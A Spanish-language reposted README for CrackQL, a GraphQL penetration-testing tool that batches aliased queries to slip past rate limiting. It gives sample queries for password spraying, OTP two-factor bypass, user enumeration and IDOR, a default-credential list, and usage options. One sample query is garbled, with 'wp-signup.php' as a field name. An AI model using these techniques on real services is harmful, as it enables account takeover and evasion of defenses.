CrackQL es una versátil herramienta de pruebas de penetración GraphQL que explota los deficientes controles de límite de velocidad y análisis de costes para realizar operaciones de fuerza bruta de credenciales y fuzz.
¿Cómo Funciona?
CrackQL funciona agrupando automáticamente una única consulta o mutación GraphQL en varias operaciones de alias. Determina el número de alias a utilizar basándose en las variables de entrada CSV. Después de generar mediante programación el documento GraphQL por lotes, CrackQL procesa por lotes y envía la(s) carga(s) útil(es) – o payloads– a la API GraphQL de destino y analiza los resultados y los errores.
Casos de Uso de Ataques
CrackQL puede utilizarse para una amplia gama de ataques GraphQL, ya que genera mediante programación cargas útiles basadas en una lista de entradas dinámicas.
Defense Evasion (Evasión de defensas)
A diferencia de Burp Intruder, que envía una solicitud por cada carga útil única, CrackQL evade las defensas tradicionales de monitorización de límite de velocidad HTTP de API utilizando múltiples consultas de alias para rellenar grandes conjuntos de credenciales en una única solicitud HTTP. Para eludir las defensas de análisis de costes de consulta, CrackQL puede optimizarse para utilizar una serie de operaciones por lotes más pequeños (-b
), así como un retardo de tiempo (-D
).
Password Spraying Brute-forcing (Pulverización de contraseñas)
CrackQL es perfecto contra despliegues GraphQL que aprovechan las operaciones de autenticación GraphQL en banda (como el Módulo de Autenticación GraphQL). El siguiente ejemplo de pulverización de contraseñas funciona contra DVGA con el diccionario sample-inputs/users-and-passwords.csv
.
sample-queries/login.graphql
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
Anulación de la autenticación de dos factores OTP
Es posible utilizar CrackQL para eludir la autenticación de dos factores mediante el envío de todos los tokens OTP (One Time Password)
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
User Account Enumeration (Enumeración de Cuentas de Usuario)
CrackQL también se puede utilizar para ataques de enumeración para descubrir ids de usuario válidos, nombres de usuario y direcciones de correo electrónico
sample-queries/enumeration.graphql
query {
wp-signup.php(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
Insecure Direct Object Reference (La referencia de objeto directo inseguro)
CrackQL también puede utilizarse para ataques de enumeración con el fin de descubrir identificadores de usuario, nombres de usuario y direcciones de correo electrónico válidos.
sample-queries/idor.graphql
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
Fuzzing General
CrackQL puede utilizarse para operaciones generales de fuzzing de entrada, como el envío de potenciales cargas útiles SQLi y XSS.
Entradas
CrackQL generará cargas útiles basadas en variables de entrada definidas por un archivo CSV. CrackQL requiere que la cabecera (header) CSV coincida con el nombre de entrada.
sample-inputs/usernames_and_passwords.csv
username, password
admin, admin
admin, password
admin, pass
admin, pass123
admin, password123
operator, operator
operator, password
operator, pass
operator, pass123
operator, password123
Tipos de entrada válidos:
str
int
float
Instalación
Requisitos
- Python3
- Requests
- GraphQL
- Jinja
Clonar repositorio:
git clone https://github.com/nicholasaleks/CrackQL.git
cd CrackQL/
Obtener dependencias:
pip install -r requirements.txt
Ejecutar CrackQL:
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help show this help message and exit
-t URL, --target=URL Target url with a path to the GraphQL endpoint
-q QUERY, --query=QUERY
Input query or mutation operation with variable
payload markers
-i INPUT_CSV, --input-csv=INPUT_CSV
Path to a csv list of arguments (i.e. usernames,
emails, ids, passwords, otp_tokens, etc.)
-d DELIMITER, --delimiter=DELIMITER
CSV input delimiter (default: ",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
Output directory to store results (default:
./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
Number of batch operations per GraphQL document
request (default: 100)
-D DELAY, --delay=DELAY
Time delay in seconds between batch requests (default:
0)
--verbose Prints out verbose messaging
-v, --version Print out the current version and exit.
Configuración
Utiliza config.py
para establecer cookies HTTP, cabeceras o proxies si el endpoint requiere autenticación.
CrackQL (este enlace se abre en una nueva ventana) por nicholasaleks (este enlace se abre en una nueva ventana)
CrackQL is a GraphQL password brute-force and fuzzing utility.